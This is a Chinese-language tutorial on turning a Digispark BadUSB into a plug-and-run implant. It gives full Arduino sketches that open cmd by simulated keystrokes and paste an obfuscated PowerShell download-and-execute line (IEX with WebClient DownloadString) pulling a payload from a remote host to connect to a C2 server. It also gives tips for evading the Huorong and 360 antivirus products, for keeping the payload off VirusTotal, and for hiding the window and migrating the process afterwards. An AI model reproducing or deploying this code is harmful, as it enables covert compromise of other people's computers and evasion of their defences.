BadUsb实现免杀及插及上线C2服务器
字数 1160 2025-08-24 16:48:17
BadUSB实现免杀及即插即上线C2服务器教学文档
0x01 准备阶段
硬件准备
- 购买BadUSB设备:推荐使用Digispark开发板
- 设备特点:模拟键盘输入功能,小巧便携
软件准备
-
安装Arduino IDE开发环境
-
配置Arduino IDE:
- 添加Digispark开发板支持
- 安装相关驱动程序
- 参考配置链接:简书配置教程
-
学习Digispark编程语法:
- 语法相对简单
- 可边查资料边编写代码
0x02 代码编写基础框架
基本原理
BadUSB通过模拟键盘输入执行恶意操作,核心框架如下:
#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_CONTROL_LEFT (1<<0)
#define KEY_ENTER 40
#define KEY_CAPS_LOCK 0x39
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd")); //输入cmd
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
DigiKeyboard.delay(500);
// 此处插入恶意代码
}
void loop() {}
执行流程说明
- 插入后延迟2秒开始执行
- 模拟Win+R组合键打开运行窗口
- 输入"cmd"并回车打开命令提示符
- 每次操作后延迟0.5秒确保执行
0x03 上线C2服务器的两种思路
方法一:文件下载上线
- 优点:直接下载恶意文件执行
- 缺点:
- 常见下载命令(certutil等)被主流杀软拦截
- 双写certutil可绕过火绒但无法绕过360
- 恶意文件本身需要额外免杀处理
- 结论:免杀难度较大,不推荐
方法二:PowerShell命令上线
方案1:通过ps1文件上线
- 优点:ps1文件免杀效果较好
- 缺点:
- 代码量大导致闪存空间不足(仅45%可用)
- 解决方案:
- 购买闪存更大的开发板
- 精简ps1文件内容
- 结论:实施难度较大
方案2:通过web服务上线(推荐)
- 优点:
- payload精简,不占用过多闪存
- 可针对性做免杀处理
- 免杀技巧:
- 设置别名
- 使用^字符间隔
- 加号拼接字符串
免杀payload示例:
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -
特点:
- 不添加hidden参数(影响免杀效果)
- 实测可绕过火绒和360
- 需要用户点击鼠标放行
0x04 完整代码实现
基础实现代码
#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_CONTROL_LEFT (1<<0)
#define KEY_ENTER 40
#define KEY_CAPS_LOCK 0x39
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd")); //输入cmd
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
}
void loop() {}
0x05 代码优化
问题1:中文输入法干扰
解决方案:
- 开始模拟输入前锁定大小写
- 免杀代码中路径大小写混合(如'a'和'A')
问题2:残留CMD黑框
解决方案:
- 执行后模拟Win+D返回桌面
- CS上线后立即迁移进程
优化后的完整代码
#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_CONTROL_LEFT (1<<0)
#define KEY_ENTER 40
#define KEY_CAPS_LOCK 0x39
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK); //锁定大小写,防止默认中文输入法
DigiKeyboard.delay(500);
// powershell上线 免杀火绒360 窗口不隐藏 需要点鼠标杀软放行
DigiKeyboard.print(F("cmd")); //输入cmd
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://4'+'3.138.111.78'+'/A') | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线 路径大小写都要有a A
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_D,MOD_GUI_LEFT); //win+d
}
void loop() {}
0x06 关键注意事项
-
免杀保护:
- 不要将免杀payload提交到微步、VT等检测平台
- 定期更新免杀技术(免杀方法有有效期)
-
执行流程:
- 确保每个操作后有适当延迟(0.5秒)
- 考虑目标机器的性能差异
-
输入法问题:
- 始终先锁定大写状态
- 关键路径使用大小写混合
-
隐蔽性:
- 执行后最小化/隐藏CMD窗口
- 上线后尽快迁移进程
0x07 扩展参考
- Digispark开发入门
- PowerShell免杀技术研究
- C2服务器配置指南
0x08 总结
本方案实现了:
- BadUSB即插即用自动执行
- 绕过火绒和360的免杀效果
- 执行后自动隐藏痕迹
- 稳定上线C2服务器
未来可改进方向:
- 增加更多免杀技巧
- 支持更多C2框架
- 针对不同地区输入法的适配